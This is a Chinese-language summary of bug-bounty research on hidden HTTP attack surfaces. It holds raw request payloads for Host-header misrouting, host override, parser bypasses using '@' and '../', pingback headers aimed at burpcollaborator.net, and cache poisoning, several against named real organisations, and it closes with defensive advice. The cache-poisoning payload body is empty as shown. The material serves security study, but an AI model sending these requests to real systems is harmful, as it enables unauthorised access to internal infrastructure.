【译】打破热点:剑指HTTP隐藏的攻击面
字数 1783 2025-08-29 08:31:41
HTTP隐藏攻击面分析与利用技术
1. 引言
现代网站架构中广泛使用反向代理、负载均衡器和后端分析系统,这些组件构成了一个常被忽视的攻击面。本文档将详细介绍如何发现和利用这些隐藏的攻击面,包括错误路由请求、后端系统暴露、缓存滥用等技术。
2. 方法论
2.1 监听技术
由于目标系统通常是不可见的,不能依赖分析响应内容来识别漏洞。应采用以下方法:
- Pingback技术:发送攻击载荷使系统主动联系攻击者
- 使用Burp Collaborator:记录DNS查找和HTTP请求
- 替代方案:
- 自托管DNS日志服务器
- 使用Canarytokens进行简单探测
2.2 研究工具
Collaborator Everywhere:
- Burp Suite插件
- 自动注入包含唯一标识符的攻击载荷
- 自动关联pingback与相应请求
- 开源地址:https://github.com/PortSwigger/collaborator-everywhere
Hackability Probe:
- 分析客户端攻击面的网页
- 下载地址:https://github.com/PortSwigger/hackability
- 在线使用:http://portswigger-labs.net/hackability/
2.3 大规模扫描
- 使用Zmap/ZGrab(支持HTTP1.1和HTTPS)
- 将目标主机名与每个payload结合:
- 示例:
example.com.collaboratorid.burpcollaborator.net
- 示例:
- 数据来源:
- 公开/私有漏洞悬赏的可测试域名名单
- Rapid7的Project Sonar Forward DNS数据库
3. 错误路由请求技术
3.1 不正确的Host字段
基本攻击:
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
发现案例:
- 27个DoD服务器
- 多个ISP(包括英国BT和哥伦比亚METROTEL)
- Yahoo内部服务器(ats-vm.lorax.bf1.yahoo.com)
Yahoo案例深入:
- 初始探测:
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
- 使用HELP命令发现管理接口:
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082
- 构造特殊请求执行命令:
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34
GET proxy.config.alarm_email
3.2 主机覆盖技术
技术原理:
- 服务器对Host头白名单检查不严格
- 请求行中的URL优先级更高
攻击示例:
GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close
3.3 特殊字符利用
案例1:Incapsula绕过
GET / HTTP/1.1
Host: incapsula-client.net:80@burp-collaborator.net
Connection: close
案例2:New Relic漏洞
GET @burp-collaborator.net/ HTTP/1.1
Host: newrelic.com
Connection: close
案例3:雅虎服务器
GET / HTTP/1.1
Host: ../?x=.vcap.me
Connection: close
3.4 隧道技术
示例:
GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: demo.globaleaks.org
Connection: close
特点:
- 通过Tor2Web转发请求
- Tor的DNS安全机制导致大小写随机化的DNS查询
4. 后端分析系统攻击
4.1 信息收集技术
示例请求:
GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close
4.2 各头部利用分析
-
X-Forwarded-For/True-Client-IP:
- 触发DNS查找
- 可能暴露IP欺骗漏洞
-
Referer头:
- 分析系统可能爬取Referer中的URL
- 潜在的blind SSRF漏洞
-
X-Wap-Profile:
- 指定设备配置文件的XML URL
- 高风险功能:获取+解析不受信任的URL
- Facebook案例:26小时后才获取XML
4.3 远程客户端漏洞利用
- HTTPS连接窃取内存(如心脏滴血攻击)
- 无界面浏览器漏洞(如PhantomJS)
- Windows客户端凭证泄露
- 重定向滥用:
- 示例:Tumblr URL预览支持HTTP→FTP重定向
5. 缓存滥用攻击
5.1 缓存扫描技术
观察到的行为:
- 初始请求:
GET / HTTP/1.1
Host: burpcollaborator.net
- 后续扫描:
GET /jquery.js HTTP/1.1
GET /abrams.jpg HTTP/1.1
5.2 缓存投毒攻击流程
- 发现后端XSS漏洞
- 注入恶意资源引用:
POST /xss.cgi HTTP/1.1
Content-Length: 103
Connection: close
xss=
- 缓存服务器获取并存储资源
- 攻击者获取缓存内容:
GET /index.php/fake.jpg
Host: internal-server.mil
Connection: close
6. 防御建议
-
反向代理安全:
- 纳入防火墙保护范畴
- 部署在DMZ区域,与公网隔离
-
输入验证:
- 严格验证Host头和其他头部
- 避免使用用户提供的URL进行内部请求
-
缓存安全:
- 限制缓存的内容类型
- 验证缓存资源的来源
-
工具使用:
- Burp Suite Scanner可探测路由漏洞
- 使用Collaborator Everywhere进行自检
7. 总结
通过系统性地探测和利用HTTP隐藏攻击面,研究人员发现了多个高危漏洞,获得了超过3万美元的漏洞赏金。这些技术揭示了现代Web架构中常被忽视的安全问题,特别是反向代理和负载均衡器的错误配置。随着漏洞悬赏计划的普及,这类研究将继续揭示更多隐藏的攻击面。